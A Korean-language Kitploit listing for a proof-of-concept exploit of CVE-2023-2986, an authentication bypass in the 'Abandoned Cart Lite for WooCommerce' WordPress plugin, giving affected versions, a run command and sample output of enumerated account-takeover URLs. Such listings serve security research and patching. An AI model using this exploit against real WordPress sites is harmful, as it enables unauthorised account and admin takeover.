Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-2986 — 'Abandoned Cart Lite for WooCommerce' WordPress 플러그인의 취약점 CVE-2023-2986에 대한 개념 증명 | Kitploit
도구/GitHubGitHub/ayantaker/cve-2023-2986
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubayantaker/cve-2023-2986

CVE-2023-2986

'Abandoned Cart Lite for WooCommerce' WordPress 플러그인의 취약점 CVE-2023-2986에 대한 개념 증명

저장소 보기
632년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-2986에 대한 원본 개념 증명

WordPress의 'Abandoned Cart Lite for WooCommerce' 플러그인의 취약점 CVE-2023-2986에 대한 개념 증명

관련 세부 정보

  • NVD 링크 : https://nvd.nist.gov/vuln/detail/CVE-2023-2986
  • 플러그인 소스 : https://github.com/TycheSoftwares/woocommerce-abandoned-cart/
  • 취약한 버전 : version <= 5.14.2 version <= 5.15.1
  • 패치된 버전 : 5.15.0 5.15.2

업데이트

  • 버전 5.15.0이 문제를 해결한다고 생각했지만, 완전히 수정되지 않았고 동일한 내용이 업데이트되었음을 발견했습니다. 따라서 실제 패치된 버전은 5.15.2입니다.

취약점 분석

  • Keysight 블로그 : https://www.keysight.com/blogs/tech/nwvs/2023/08/23/cve-2023-2986
  • Medium : https://medium.com/keysight-ati/cve-2023-2986-wordpress-plugin-vulnerability-and-the-importance-of-poc-7c9c5122438b

사용법

root@kitploit:~
sudo apt-get install php-curl
php poc.php http://target_host target_port max_cart_id_to_enumerate
root@kitploit:~
[*] 카트 ID 1 열거 중
[+] 사용자 'victim'에 대한 인증 우회 URL : https://10.39.44.149:443/?wcal_action=checkout_link&validate=pwDHtAFjg2StEr4S2bP9YXkwVdKLqnsLjpkFGythB5ztEF8twVbXFdEP6u7kYwrc
[*] 카트 ID 2 열거 중
[*] 카트 ID 3 열거 중
[+] 사용자 'victim2'에 대한 인증 우회 URL : https://10.39.44.149:443/?wcal_action=checkout_link&validate=aQH9pwVjg2TWqKcFmNoipUeBKbYNb5UaEYMYP8DlCz3DqykRdzP3lQgEqID6QsoD
[*] 카트 ID 4 열거 중
[+] 사용자 'user'에 대한 인증 우회 URL : https://10.39.44.149:443/?wcal_action=checkout_link&validate=XQOexwdjg2TzUjbZJgcYAeUE1p7YdPytSYL3Vkkjb+gISKD02Cpk+3Dx6SUnbe5d
[*] 카트 ID 5 열거 중

브라우저에 URL을 입력하면 해당 사용자의 계정에 접근할 수 있습니다. WordPress 관리자 사용자 자신이 항목을 가지고 있는 경우, 이는 관리자 콘솔에 접근하여 WordPress 서버의 완전한 손상을 초래할 수 있습니다.

면책 조항

이 개념 증명(POC)은 학술 연구 및 효과적인 방어 기술 개발을 위한 목적으로만 생성되었으며, 명시적으로 허가된 경우를 제외하고 시스템을 공격하는 데 사용하기 위한 것이 아닙니다. 작성자는 POC의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.

도구 다운로드